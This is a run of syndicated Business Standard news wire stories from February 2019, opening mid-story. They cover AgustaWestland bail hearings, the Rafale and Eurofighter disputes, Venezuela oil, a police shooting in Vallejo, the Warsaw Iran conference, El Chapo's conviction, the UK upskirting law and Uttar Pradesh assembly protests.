"You arrested him and thereafter sought custody thrice. He could have joined otherwise also. What was the difficulty? You are arguing that bail should be granted," the court said.

The ED replied it had apprehensions about his security, to which the court asked, "What about the security now".

The ED said, "Let him seek security. We will provide him that".

The Dubai-based businessman, Saxena, who was sent to jail till February 18, had said in his bail application that he was extremely sick with advanced terminal diseases and had coronary heart disease with four stents in his heart.

Saxena, who is in custody since January 31 after his deportation from Dubai, had said in his plea that when all the other accused in the case, including Gautam Khaitan, Ritu Khaitan, S P Tyagi, and others were out on bail, there could be "no justification" to deny him the same relief.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)A Delhi court on Wednesday said it will hear the bail plea of Rajeev Saxena, arrested in the Rs 3,600-crore AgustaWestland money-laundering case, on Thursday after examining his medical report which was yet to be submitted by AIIMS.

Special Judge Arvind Kumar, who on Tuesday sent Saxena to jail till February 18, said he will hear the matter after AIIMS submits the report.

Saxena has sought bail on medical grounds and told the court that he was suffering from a "heart disease" and "advanced-stage leukaemia" (blood cancer).

The Enforcement Directorate, which arrested Saxena in the money laundering case, said it was not opposed to grant of bail to him provided he does not leave Delhi.

Saxena, a director of two Dubai-based firms UHY Saxena and Matrix Holdings, has said in his bail application that he was an extremely sick with advanced terminal diseases and had coronary heart disease with four stents in his heart.

"The present application is being filed in grave urgency, keeping in mind the medical condition of the applicant (Saxena), as any further custody will have grave and irreparable damage on his medical condition, which is fragile, and there is likelihood of contracting other diseases because of his low immunity level," the plea stated.

The court, when sending Saxena to judicial custody for two days, had directed Tihar jail authorities to take him to All India Institute of Medical Sciences for a medical check-up.

Saxena's plea said the medicines for leukaemia are administered to him daily and they are available only by special order at American Hospital in Dubai, UAE, and his tests are done weekly at the said hospital.

"Saxena's back condition, which is precarious, has worsened," the plea said.

Saxena, who is in custody since January 31 after his deportation from Dubai, said in his plea that when all the other accused in the case, including Gautam Khaitan, Ritu Khaitan, S P Tyagi, and others were out on bail, there could be "no justification" to deny him the same relief.

He has said that since his passport is with ED, there was no likelihood of him absconding.

Saxena, a Dubai-based businessman, is one of the accused named in the chargesheet filed by ED in the AgustaWestland case.

Christian Michel, former AgustaWestland and Finmeccanica directors Giuseppe Orsi and Bruno Spagnolini, former Air Force chief SP Tyagi and Saxena's wife Shivani have also been named by the agency in the chargesheet.

The ED had sought extension of Saxena's custody on the ground that the agency wanted to confront him with Gautam Khaitan, a Delhi-based lawyer and co-accused, who was arrested in the case and is in the agency's custody in another case.

It had alleged that in connivance with Gautam Khaitan, Saxena had provided a global corporate structure for laundering the illegal proceeds of the crime for payment to various political persons, bureaucrats and Air Force officials to influence the contract to supply 12 VVIP helicopters in favour of AgustaWestland.

Saxena was living in the UAE for 26 years.

Maintaining that AgustaWestland had paid 58 million euros as kickbacks through two Tunisia-based firms, the ED has alleged that "these companies further siphoned off the said money in the name of consultancy contracts to M/s Interstellar Technologies Limited, Mauritius and others, which were further transferred to M/s UHY Saxena and M/s Matrix Holdings Ltd, Dubai and others".

It was alleged by the probe agency that the two Dubai-based firms were the entities "through which the proceeds of crime have been routed and further layered and integrated in buying the immovable properties/shares, among others".

On January 1, 2014, India had scrapped the contract with Finmeccanica's British subsidiary AgustaWestland for supplying 12 AW-101 VVIP choppers to the Indian Air Force over alleged breach of contractual obligations and charges of kickbacks of Rs 423 crore paid by it to secure the deal.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)A Delhi court on Wednesday reserved its order on the bail plea of Christian Michel, arrested in connection with an alleged scam in the Rs 3,600-crore AgustaWestland VVIP chopper deal, for February 16.

Special judge Arvind Kumar, after hearing both the parties, directed them to file short written arguments in the case by February 15.

During the hearing, the Central Bureau of Investigation and the ED opposed Michel's bail plea, saying the court has already taken cognisance of the chargesheet in the case and the accused cannot seek bail at this juncture.

Advocate D P Singh, appearing for the agency, said no question of default bail arises under Section 167 and the investigation in this case was at a very crucial stage.

The counsel appearing for Michel sought bail on the ground that the chargesheet against him was not filed within the stipulated 60-day period under section 167 (2) of the Code of Criminal Procedure (CrPC).

"The submission made by the CBI is that they are at a crucial point of investigation but bail is the rule and so provision of 167 has to be extended to me.

"Many of the accused have not yet been arrested. Even the main accused has not been arrested. No application for extradition has been filed against the main accused. Therefore the investigation cannot be completed," said Michel's counsel.

Michel's counsel also raised the issue of letters rogatory (letters of request written by a court to a foreign one for judicial assistance).

They said the letter rogatory issued by India to Italy and Switzerland with regard to AgustaWestland case asking for documents have been "rejected outrightly" by both the courts.

"The Italian court has outrightly refused it whereas the court in Switzerland has said that they do not have the jurisdiction," Michel's counsel submitted.

However, Singh objected saying that not only have the foreign courts responded to the letters rogatory but they have already been filed in the court and there are more to follow.

"My friend has been prompted very strongly that we (agency) have nothing. 25 documents that came on letters rogatory from Italy have already been filed. Further will be filed supplementarily," Singh said.

At this point, Michel's Italian lawyer-friend Santrolli Rosemary Patrizi Dos Anjos interrupted Singh's submissions to which he said, "do not address across the bar, please. I don't know what is there in italy but in India we do not address across the bar".

The agencies had on Tuesday opposed Michel's bail plea, saying he was accused of serious economic offences and there was ample evidence against him to prove his guilt.

The CBI had said Michel was a British national and has no roots in India and there was "every likelihood that if he was granted bail, he may abscond from India, evading the process of law and may not return to face the trial."



It had said that the agency was taking all possible steps to conduct an effective and fair further investigation which would be hampered if he is released on bail.

Michel, extradited from Dubai, was arrested by the Enforcement Directorate (ED) on December 22 last year.

On January 5, Michel was sent to judicial custody in the ED case. He is also lodged in judicial custody in the CBI case related to the scam.

Michel is among the three alleged middlemen being probed in the case by the ED and the Central Bureau of Investigation (CBI). The others are Guido Haschke and Carlo Gerosa.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)As part of a special operation conducted against the Kurdistan Workers Party (PKK) terrorist group, 14 PKK militants were detained in Istanbul.

The terrorists planned a series of provocations in connection with the 21-year anniversary of the detention of PKK leader Abdullah Ocalan.

All detainees are citizens of Turkey, Trend reported with reference to the Turkish media.Vietnam's foreign minister arrived in North Korea on Tuesday, Pyongyang's state media said, ahead of a second scheduled summit between Donald Trump and Kim Jong Un.

With the high-stakes meeting now two weeks away, Pyongyang has yet to provide any official confirmation of the meeting in the Vietnamese capital Hanoi.

"A delegation of the Vietnamese Foreign Ministry led by Pham Binh Minh, deputy prime minister of the Socialist Republic of Vietnam, arrived here on Tuesday," the official KCNA agency said, without expanding.

Trump announced last week that Hanoi will be the host for a second summit with the North Korean leader on February 27-28, following their landmark first meeting in Singapore last year.

That summit produced a vaguely-worded document in which Kim pledged to work towards denuclearisation -- with no hard timelines agreed.

Vietnam's Foreign Minister Pham Binh Minh said on Monday he "will pay an official visit to DPRK from February 12 to 14" at the invitation of his North Korean counterpart Ri Yong Ho.

No further details were provided for the visit, but ministry spokeswoman Le Thi Thu Hang said last week Vietnam is "willing to make positive contributions... for a successful US-North Korea summit".

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)Minister of State for External Affairs General V K Singh Wednesday raised questions over the "capability and condition" of Hindustan Aeronautics Limited (HAL) amid the Congress' claim that the Modi government denied the defence PSU an offset contract in the Rafale deal.

Talking to reporters here, the minister defended the Rafale deal, saying the purchase of 36 Rafale fighter jets from France was necessary to enhance the Indian Air Force's capabilities.

"Look at the condition of HAL. Our two pilots died. Sorry to say, but the programmes at HAL are running late by three-and-a-half years...parts of aircraft are falling off on the runway. Is this capability? On the other hand, we say that HAL is not getting the (Rafale) work," he said.

The minister was referring to the death of two pilots in a crash of Mirage 2000 trainer aircraft in Bengaluru on February 1. The aircraft was on an "acceptance sortie" after an upgrade by the HAL.

On claims by the Congress that the Modi government had favoured industrialist Anil Ambani's firm in the Rafale deal, the former Army chief said, "In Rafale case, it is the French, who decided the offset firm. The objective of the offset is to allow the industry to thrive here...if their firm is not satisfied with HAL, it is their decision...it is not the decision of the Indian government."



The opposition is trying to rake up the Rafale issue as a counter to the Bofors deal, he said referring to the Rs 1,437-crore deal between India and Swedish arms manufacturer AB Bofors in 1986 for supply of 400 units of 155-mm Howitzer guns for the Indian Army.

"In the 60s, we came up with an indigenous design of Hindustan Fighter 24 - Marut. But the Gas Turbine Research Establishment (GTRE), which was assigned to develop an engine for the aircraft, failed to do so and we had to look at importing the engine," he said.

In order to get the engine, India approached the US, who gave an "oversparred" engine, leading to the death of many pilots, he said.

"We had to scrap the programme. But later, the French approached us and our government allowed them to have a look at a static aircraft. Then they clicked several pictures of the aircraft and on that basis the series of Mirage aircraft started," he said.

"Had the then government compelled the GTRE to develop the engine, the country would have got its own aircraft and with advancements in technology, the country's indigenous aircraft would have been better than Rafale," he said.

"If they are accusing the present government on the Rafale deal, then the blame for the failure of HF-24 should go to the then government and I would like to call it treason as the entire data of HF-24 was wiped off without anybody's knowledge," he said.

Matters related to national security should not be politicised, the minister said, adding that India requires these 36 (Rafale) aircraft, in the absence of which the capability of the Indian Air Force will be hampered.

"It was necessary to purchase these 36 aircraft as the capabilities of the Indian Air force were depleting. If we keep pulling each others' legs, we will cause a major loss to the defence of the nation," he said.

On talks with Pakistan, the minister said when Modi became the prime minister in 2014, India showed a positive gesture to improve relations with the neighbouring country through dialogue.

"Our stand since 2014 was very clear as talks and terror activities cannot go hand-in-hand. Even today, we are firm on our stand," he said.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)America's tough-talking National Security Adviser John Bolton has warned countries, including India, against buying Venezuelan oil, saying nations and firms that support the embattled President Nicolas Maduro's "theft" will "not be forgotten".

Bolton's warning through a tweet on Tuesday came a day after Venezuelan Minister and President of the Latin American state-run company PDVSA Manuel Quevedo told reporters in Greater Noida that his sanctions-hit country wants to sell more crude to India.

The US has slapped sweeping sanctions on PDVSA with a view to curb Venezuela's crude exports and put pressure on socialist President Maduro to step down.

"We have a good relationship with India and we want to continue this relationship. The relationships with India will continue, the trade will continue and we will simply expand all the trade and relationship," Quevedo told reporters on the sidelines of the Petrotech conference in Greater Noida.



Venezuela is the third largest supplier of oil to India which is the world's third-biggest oil consumer.

Reacting to Quevedo's India visit, Bolton said that "Nations and firms that support Maduro's theft of Venezuelan resources will not be forgotten".

"The United States will continue to use all of its powers to preserve the Venezuelan people's assets and we encourage all nations to work together to do the same," he tweeted and shared a news story about Quevedo's visit to India to sell more crude oil.

Venezuela produces around 1.57 million barrels of oil per day, half of what it produced two decades back.

With the US stopping imports from Venezuela, PDVSA is seeking to retain buyers in other big consuming countries such as China and India.

Quevedo, who now holds the rotating presidency of the Organization of the Petroleum Exporting Countries (OPEC), said on Monday that it was important to listen to all the consuming countries that represent oil demand to maintain the balance of demand and supply in the markets.

"India certainly has a good and healthy relationship with us and all the members of the OPEC and that will continue. So, we always keep these communications and relations with all-consuming countries in order to ensure stability and balance will continue," he said.



The US has caused a loss of about $ 20 billion to Venezuela's oil revenue-dependent economy, he added.

The Latin American country has the world's largest known reserves of oil estimated at more than 300 billion barrels - bigger than Saudi Arabia's 266 billion barrels.

President Maduro has called Donald Trump's government a "gang of extremists" and blamed the US for his country's crisis.

He is under growing internal and pressure to call early presidential elections amid a worsening economic crisis and accusations of widespread corruption and human rights violations.

Relations between the US and Venezuela were already fraught before President Trump's administration became one of the first to back opposition leader Juan Guaido as interim President.

Venezuela broke off diplomatic relations in response while Trump said the use of military force remained "an option".

India has refused to go along with the US and recognise Guaido as the President and stop dealing with Maduro's administration.

"India and Venezuela enjoy close and cordial relations. We are of the view that it is for the people of Venezuela to find political solutions to resolve their differences through constructive dialogue and discussion without resorting to violence," External Affairs Ministry spokesperson Raveesh Kumar said last month.

Three million people, or 10 per cent of the population, have left Venezuela since its started to worsen in 2014, according to the UN.

Guaido says more than 300,000 Venezuelans are at "risk of dying".

Maduro, who has blamed US sanctions for Venezuela's economic woes, said the US intended to "create a humanitarian crisis in order to justify a military intervention".

(Only the headline and picture of this report may have been reworked by the Business Standard staff; the rest of the content is auto-generated from a syndicated feed.)Police in northern California are conducting a probe following outrage over the fatal shooting of a 21-year-old rapper who was found sleeping in his car outside a Taco Bell.

According to the Vallejo Police Department, the February 6 shooting took place after employees at the fast-food outlet late that evening called to report a Mercedes parked in the drive-thru line with a man slumped over in the driver's seat.

In a statement, police said officers responded to the call and as they approached the locked vehicle, they noticed that the driver was unresponsive and had a gun on his lap. They added that the car's transmission was in drive.

As police assessed the situation and tried to prevent the vehicle from moving forward, the statement said, things turned deadly.

"The driver ... suddenly began to move," the police report said. "The officers told the driver to keep his hands visible, however the driver quickly reached for the handgun on his lap.

"In fear for their own safety, the officers discharged their weapons at the driver." It was unclear how many bullets were fired.

McCoy was pronounced dead at the scene.

His family has challenged the police version of events, describing the shooting as an "execution" and a clear case of racial profiling.

"There was no attempt to try to work out a peaceful solution," Marc McCoy, Willie's older brother, told the Guardian.

"The police's job is to arrest people who are breaking the law -- not take the law into your own hands. You're not judge, jury and executioner ... We're never going to get over this."



McCoy's shooting follows a string of similar incidents of alleged police brutality in the US in recent years.

And this is not the first time the Vallejo Police Department has come under scrutiny following complaints of excessive force.

In 2017, a video of an officer straddling a man on the ground and punching him in the face several times prompted an uproar. Another video last year showed a Vallejo police officer repeatedly hitting a man with his flashlight as he was being restrained and handcuffed by another officer.

Vallejo police did not respond to an AFP request for comment on the McCoy case and McCoy's family could not be immediately reached.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)US Vice President Mike Pence and Israeli Prime Minister Benjamin Netanyahu were expected Wednesday in Warsaw for a 60-nation conference that they hope will raise the international stakes for Iran.

But the two-day conference will also lay bare divisions, with major European allies of the United States sending low-profile representatives amid unease over President Donald Trump's strident calls to strangle Iran's economy.

Pence and US Secretary of State Mike Pompeo will join the Polish government in welcoming officials at a dinner at the Royal Castle in Warsaw's old town, the home for centuries to monarchs.

While much of the schedule remained vague, the main session will take place Thursday when Pence, Pompeo and Netanyahu all deliver remarks and working groups are assigned to discuss areas of concern.

"This is a global coalition that is built to deliver on the important mission of reducing the risk that has emanated from the Middle East for far too long," Pompeo said Tuesday evening as he opened his visit to Poland.

Netanyahu is likely to deliver a fiery address on Iran, whose leaders reject Israel's existence.

He has vowed to keep striking Iranian forces until they leave war-torn Syria and has not ruled out a military strike to destroy the nuclear programme of Tehran.

But outside of Israel, Iran's Arab rivals and the Trump administration, nearly all countries still back an accord negotiated under previous US president Barack Obama in which Iran agreed to end sensitive nuclear work in return for sanctions relief.

Even Poland's right-wing government -- eager to please the United States amid constant worries over Russia -- has made clear it supports the 2015 nuclear deal, to which UN inspectors say Iran is abiding.

"The European Union and the United States see the same threats in the Middle East; we sometimes differ on how to solve these crises," Polish Foreign Minister Jacek Czaputowicz told a joint conference with Pompeo.

Poland, whose ambassador in Tehran was summoned in protest, has taken pains after Pompeo's initial announcement to emphasise that Iran is not the sole focus of the conference.

"The EU does not have enough political weight to really try to influence the situation in the Middle East," Czaputowicz said, adding that all "democratic nations" needed to come together to resolve longstanding tensions in that region.

Ned Price, a former Obama adviser and intelligence official, said that the Warsaw conference will only showcase the Trump administration's isolation as European allies did not want to be part of an "anti-Iran pep rally".

"More than merely embarrassing, the administration's stated 'maximum pressure' approach is incoherent, as America lacks allies willing to support such a strategy," said Price, now at the National Security Action pressure group.

British Foreign Secretary Jeremy Hunt is the only major European diplomat to come to Warsaw, but he is attending primarily to discuss the humanitarian crisis in Yemen, where several million people are on the brink of starvation.

Hunt will participate in a four-way meeting Wednesday evening with Pompeo and Saudi Arabia and the United Arab Emirates, which have waged a devastating US-backed military campaign against Yemen's Iranian-linked Huthi rebels.

Russia is shunning the conference and will hold parallel talks Thursday in the resort of Sochi with Iranian President Hassan Rouhani and Turkish President Recep Tayyip Erdogan on Syria, where Trump is planning to withdraw US troops.

In Warsaw, Turkey said it will only send embassy staff to the conference among its NATO allies.

One group that will be out in force will be the People's Mujahedin, Iran's formerly armed opposition.

The People's Mujahedin, which was delisted as a terrorist movement by the United States in 2012, has cultivated close ties with US conservatives including former New York mayor Rudy Giuliani, who will speak at a rally by the group in Warsaw.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)An international court Wednesday ruled Iran can proceed with a bid to unfreeze assets in the United States, rejecting Washington's claims the case must be halted because of Tehran's alleged support for international terrorism.

Washington had argued that Iran's "unclean hands" - a reference to Tehran's suspected backing of terror groups -- should disqualify its lawsuit to recover USD 2 billion in assets frozen by the US Supreme Court in 2016.

But the International Court of Justice in The Hague threw out the US challenges, and said that it had the right to hold full hearings at a later date as to whether Tehran will get the money back.

Chief judge Abdulqawi Ahmed Yusuf said the UN's top court "unanimously rejects the preliminary objections to admissibility raised by the United States of America".

The court also "finds that it has jurisdiction" in the case, Yusuf said at the end of an hour-long reading of the decision.

Tehran said the United States had illegally seized Iranian financial assets and those of Iranian companies -- and with Iran's clerical regime facing economic difficulties after sanctions and a fall in its currency resolving the case remains crucial.

The US Supreme Court had said Iran must give the cash to survivors and relatives of victims of attacks blamed on Tehran, including the 1983 bombing of a US Marine barracks in Beirut and the 1996 Khobar Towers bombing in Saudi Arabia.

Iran said the freezing of the funds breached the 1955 Treaty of Amity with the United States, an agreement signed before Iran's 1979 Islamic Revolution severed relations between the countries.

The United States announced in October that it was pulling out of the Treaty of Amity after the ICJ in a separate case ordered Washington to lift nuclear-related sanctions on humanitarian goods for Iran.

The ICJ is the top court of the United Nations and was set up after World War II to resolve disputes between member states. Its rulings are binding and cannot be appealed, but it has no means of enforcing them.

Tensions between Tehran and Washington are already high around the 40th anniversary of the Iranian revolution and a Middle East meeting in Warsaw starting Wednesday where the United States aims to pile pressure on Iran.

Relations have been strained ever since US President Donald Trump's decision last year to pull out of a "terrible" international nuclear deal with Iran and reimpose sanctions.

The 2015 nuclear deal had unblocked billions of dollars in other Iranian funds.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)The conviction of Mexican drug lord Joaquin "El Chapo" Guzman in all 10 criminal charges against him clearly demonstrates that the US will not tolerate those who bring drugs and violence into the country to destroy people's lives, America's drug czar Uttam Dhillon has said.

Guzman, 61, was found guilty on all 10 counts at his high-profile drug-trafficking trial at a federal court in New York on Tuesday.

The Mexican, famed for his brazen escapes from Mexican prisons, was accused of being behind the all-powerful Sinaloa drug cartel, which prosecutors say was the biggest supplier of drugs to the US.

He was convicted on numerous counts including the distribution of cocaine and heroin, illegal firearms possession and money laundering.

In 2009, Guzman entered Forbes' list of the world's richest men at number 701, with an estimated worth of USD 1 billion.

While Guzman will be sentenced on June 25, he faces a mandatory life sentence without the possibility of parole for leading a continuing criminal enterprise, and a sentence of up to life imprisonment on the remaining drug counts.

US District Judge Brian Cogan confirmed the verdicts with each of the eight women and four men on the jury, telling them later their conduct on the panel "made me very proud to be an American."



After jurors left the room, Guzman waved and smiled at his wife, Emma Coronel, a former beauty queen and courtroom regular who smiled back and touched her hand to her heart.

Guzman was arrested in January 2016 after escaping from a Mexican prison through a tunnel five months earlier. He was extradited to the US in 2017.

The Acting Administrator of the US Drug Enforcement Administration (DEA) Dhillon said Guzman's conviction demonstrates the dedication and determination of the men and women of the DEA to bring the world's most dangerous and prolific drug trafficker to justice.

"Those who bring drugs and violence into the United States that destroy lives and communities will not be tolerated, nor evade our reach," the prominent Indian-American White House lawyer who was appointed in July last year, said.

"The success of this case is a testament to the strength of our relationship with our Mexican counterparts. The DEA will continue to pursue justice worldwide and protect Americans," Dhillon said.

A federal jury in Brooklyn convicted Guzman of being a principal operator of a continuing criminal enterprise the Mexican organised crime syndicate known as the Sinaloa Cartel a charge that includes 26 drug-related violations and one murder conspiracy.

Guzman was convicted of all 10 counts of a superseding indictment, including narcotics trafficking, using a firearm in furtherance of his drug crimes and participating in a money laundering conspiracy, the Department of Justice said in a press release.

The verdict followed a 12-week trial, the court was told that Guzman oversaw the smuggling of narcotics to wholesale distributors in Arizona, Atlanta, Chicago, Los Angeles, Miami, New York, and elsewhere.

The billions of illicit dollars generated from drug sales in the United States were then clandestinely transported back to Mexico.

Guzman Loera also used "sicarios" or hit men, who carried out hundreds of acts of violence in Mexico to enforce Sinaloa's control of territories and to eliminate those who posed a threat to the Sinaloa Cartel, the statement said.

Reacting to Guzman's conviction, Acting US Attorney General Matthew Whitaker said it was clear to the jury that the Mexican drug kingpin's massive, multi-billion dollar criminal enterprise was responsible for flooding the streets of the United States with hundreds of tonnes of dangerous drugs.

"This case demonstrated the extraordinary reach of the US government, our tenacity and commitment to pursuing kingpins like Guzman whom if their power is unchecked will, like Guzman, develop what for 25 years was an almost unstoppable capacity to move massive quantities of drugs into our country," Whitaker said.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)A top US commander has advocated sustained American engagement with Sri Lanka despite the political and ethnic turmoil in the island nation posing a challenge to bilateral ties, amid increasing Chinese influence in the strategically important Indo-Pacific region.

US Indo-Pacific Command chief Adm Philips Davidson told the Senate's Armed Services Committee during a Congressional hearing that US' military-to-military relationship continues to grow with Sri Lanka.

"Sri Lanka remains a significant strategic opportunity in the Indian Ocean, and our military-to-military relationship continues to strengthen. The political turmoil and ethnic tension between the Tamil and Sinhalese populations, however, remain drivers of instability and potential obstacles to continued growth in our partnership," Davidson said.

Sri Lanka has handed over the deep water port of Hambantota to China on a 99-year lease due to its mounting debts to China, which has caused international concern, he said.

Despite the political upheaval, it is in America's interests to continue military collaboration and cooperation with Sri Lankan Forces, he added.

The United States Indo-Pacific Command (USINDOPACOM) cooperation with the Sri Lankan military centers on building capacity in maritime security and maritime domain awareness, humanitarian assistance and disaster relief as well as humanitarian de-mining, medical assistance, and peacekeeping operations, he said.

Increasing navy-to-navy engagement with Sri Lanka will be a USINDOPACOM focus in 2019, he added.

Davidson said the Sri Lankan Navy is a well-trained and professional force with the potential to contribute to multi-lateral maritime interoperability in the Indian Ocean.

The recent transfer of an excess US Coast Guard cutter to Sri Lanka in August 2018, along with additional platforms from Japan and India, provide the Sri Lankan Navy greater capabilities to contribute to regional maritime domain awareness initiatives, he said.

"Going forward, it is necessary to sustain engagement with Sri Lanka, particularly the navy, and construct a multi-lateral approach to capacity building with like-minded partners to rapidly enhance the Sri Lankan Navy's capabilities," Davidson said.

According to the top Pentagon Commander, Beijing is exploiting growing debt burdens to access strategic infrastructure in the region.

In December 2017, Sri Lanka handed over control of the newly-built Hambantota seaport to Beijing on lease because it could no longer afford its debt payments to China, he added.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)Upskirting, which involves offenders taking a picture under a person's clothing without their knowledge, has now become a criminal offence in the UK after an 18-month campaign.

Perpetrators of such a crime face up to two years in prison and being placed on the country's sex offenders register after the Voyeurism Bill received Royal Assent from Queen Elizabeth II to become law on Tuesday.

"As the Queen formally agrees to make our bill into an Act of Parliament, we should see this campaign as not only essential legislative change, but also proof that normal people and grassroots campaigning can make a real difference," said Gina Martin, a victim of upskirting, who led an 18-month campaign to ensure it is recognised as a criminal offence.

"It has been a long time coming but we are finally protected in every scenario as we should always have been," she said.

The new law will come into formal effect from April, two months from Royal Assent being granted.

The UK government said the new law will ban the degrading practice to deter perpetrators, better protect victims, and bring more offenders to justice.

"Those who commit such a degrading act will face prison, and victims' complaints will be dealt with seriously," said UK Justice Minister Lucy Frazer.

"Gina Martin and other victims, charities and MPs supporting her should be immensely proud. Her efforts show how one campaigner can work with government to change the law for everyone," she said.

Martin began her campaign after two men took a picture up her skirt at a festival. The UK government intervened in June last year to bring forward measures to tackle this behaviour, after a Private Members Bill did not pass its second reading. The government-backed legislation has since successfully passed through both Houses of Parliament.

Until this new law was passed, the behaviour was prosecuted under the offence of Outraging Public Decency. However, following concerns raised by victims that not all instances of "upskirting" were covered by current law, the government acted to create a new, specific offence.

The Voyeurism Bill outlaws 'upskirting' where the purpose is to obtain sexual gratification, or to cause humiliation, distress or alarm. This includes instances where culprits say images were just taken "for a laugh" or when paparazzi are caught taking intrusive images.

It creates two new offences under the UK's Sexual Offences Act 2003 to capture this behaviour. The British Transport Police has reported a 178 per cent rise in the number of 'upskirting' incidents from 2013-2017.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)The denial of permission to Samajwadi Party chief Akhilesh Yadav to fly to Allahabad rocked the Uttar Pradesh legislature Wednesday as angry SP and BSP members stalled proceedings of both the Houses.

The entire Question Hour was derailed in both the Assembly and the Council as proceedings had to be adjourned repeatedly and then for the day as the agitated members were in no mood to relent.

Protests by SP and BSP members on the issue started as soon as the two Houses met for the day.

The pre-lunch sitting of the Assembly saw two adjournments as opposition members vociferously raised the issue. Amid uproar, Speaker Hriday Narain Dixit adjourned the House, first for 30 minutes and then for the entire Question Hour.

SP leader Narendra Verma tried to raise the issue during Question Hour.

He was instantly supported by BSP legislature party leader Lalji Verma, who said, "Lathicharge was done in the entire state by police and fake cases were lodged against protestors. An MP (SP's Dharmendra Yadav) was injured in the lathicharge."



"There is 'Hitlershahi' in the state as the government is resorting to activities which demean democracy," he claimed.

Countering Verma, Parliamentary Affairs Minister Suresh Kumar Khanna said as the opposition does not have any issue, it is creating anarchy in the state.

"Our government is committed to the welfare of people and development of the state," he added.

When the speaker did not allow discussion on the matter during the Question Hour, opposition members trooped onto the Well raising anti-government slogans.

During Zero Hour, the opposition members again raised the matter and demanded that "fake cases" lodged in the matter should be withdrawn. They also demanded that FIR be lodged against policemen involved in "atrocities", besides a judicial probe by a retired high court judge.

BSP's Verma, while supporting SP members, said, "The matter is of utmost importance and needed judicial probe."



SP member Sangram Singh Yadav said, "I was myself present there. Police targeted SP workers in the brutal lathicharge and also resorted to firing. They pulled off nail of a worker and beat up student leader Richa Singh, who is in hospital."Khanna then said the matter was taken up yesterday as well and SP-BSP members did not allow the House to function.

"Lies were stated by them. A letter was sent to SP chief Akhilesh Yadav and the same was received by his personal assistant. It is a planned conspiracy to create anarchy in the state. Yogi government will not tolerate this. SP workers were involved in stone pelting, banner with photos of the prime minister and chief minister was burnt and there was an attempt to breach peace of entire state as per their conspiracy," he said.

"The government will not hesitate in taking strict action against whosoever takes law in his hand and vitiate law and order," he added.

Following the ministers' reply, the opposition members once again came into the Well creating pandemonium leading to adjournment of the House for 30 minutes.

When the House met again, Congress leader Ajay Kumar Lallu said the government's act was condemnable and there was no need to stop the former chief minister.

"It is an attack on democracy. We want judicial probe," he said.

The speaker then rushed through the listed business before calling it a day.

The matter also figured in Legislative Council, where Leader of Opposition Ahmad Hasan raised the matter.

When Leader of the House Dinesh Sharma tried to answer, opposition members protested leading to adjournment of Question Hour.

When the House met again similar scenes prevailed, prompting Chairman Ramesh Yadav to adjourn for the day.

Before the legislature met this morning, a delegation of SP and BSP leaders called on Governor Ram Naik and handed over a memorandum seeking his intervention apprising of the situation.

The delegation comprised SP's Hasan, BSP's Verma and a number of MLAs and MLCs from both the parties.

"We strongly condemn the dictatorial attitude of the Yogi Adityanath government. SP workers will not tolerate such action. Not only us, people of the state will give a befitting reply in the Lok Sabha elections," SP MLC Sunil Yadav Sajan told reporters outside the Raj Bhavan here.

Samajwadi Party legislators also sat on dharna outside the Raj Bhavan on Tuesday.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)Azerbaijani President Ilham Aliyev has sent a letter of condolence to Turkish President Recep Tayyip Erdogan in connection with casualties caused by the collapse of a building and a helicopter crash in Istanbul.

I was deeply saddened by the news of casualties caused by the collapse of a building and a helicopter crash in Istanbul. On the occasion of this tragedy, on my own behalf and on behalf of the people of Azerbaijan, I extend my deep condolences to you, the families and the loved ones of those who were killed and the brotherly people of Turkey, and wish the injured recovery. May those killed rest in peace! AzerTAc cited the letter as saying.Proceedings of the Uttar Pradesh Assembly was Wednesday adjourned amid protests by legislators of the Samajwadi Party and the BSP over Akhilesh Yadav being stopped at the Lucknow airport on his way to Allahabad.

As soon as the House met, SP leader Narendra Verma tried to raise the issue in the Question Hour.

He was supported by BSP's legislative party leader Lalji Verma, who said, "Lathicharge was done in the entire state by police and fake cases were lodged against protestors. An MP (SP's Dharmendra Yadav) was injured in the lathicharge. There is 'hitershahi' in the state as the government is resorting to activities demeaning democracy."



Countering Verma, Parliamentary Affairs Minister Suresh Kumar Khanna said as the opposition does not have any issues, they are creating anarchy in the state.

"Our government is committed to the welfare of people and development of the state," he added.

When Speaker Hriday Narain Dixit did not allow discussion on the matter in the Question Hour, opposition members came into the Well of the House raising slogans.

Amid the chaos, the speaker adjourned the House for 30 minutes.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)The "unsolicited" proposal of 20 per cent discount by aerospace major EADS on the Eurofighter Typhoon jet, a competitor of Rafale manufacturer Dassault Aviation, had "factual inaccuracies", the Comptroller and Auditor General was informed by the Defence Ministry.

The rebate on the Eurofighter was proposed by its manufacturer in comparison to the 2007 UPA offer on the Rafale jets.

In July 2014, the European Aeronautic Defence and Space Company (EADS) had offered the discount and also proposed enhancing the transfer of technology process.

This was done when had reached a deadlock when the Cost Negotiating Committee realised that if Indian man hours are applied to the cost of production by Hindustan Aeronautics Limited quoted by it, the price of the aircraft would be substantially higher, according to the CAG report, which was tabled in Parliament on Wednesday.

EADS was one of the competitors along with Dassault's Rafale, Russia's MiG, Sweden's SAAB, the US' Lockheed Martin and Boeing, in the original Medium Multi Role Combat Aircraft (MMRCA) tender for 126 aircraft.

It said EADS offered to enhance the transfer of technology process through a comprehensive training and support programme to be combined with the creation of an Eurofighter Typhoon Industrial Park in India.

"The ministry did not accept this offer stating that it was an unsolicited offer. Further, with the procurement of only 36 aircraft through an IGA (intergovernmental agreement), audit also could not find any proposal with the ministry for filling of this wide gap in the operational preparedness of the IAF (Indian Air Force).

"The ministry in response stated that M/s EADS unsolicited offer of 20 per cent discount had factual inaccuracies," the report said.

The Defence Ministry also stated that the 36 Rafale IGA procurement had been undertaken with the lowest bidder of the MMRCA case in consonance with the Defence Procurement Procedure (DPP)



However, the CAG observed that there are no provisions of concluding an IGA with a L-1 (lowest) bidder in the DPP.

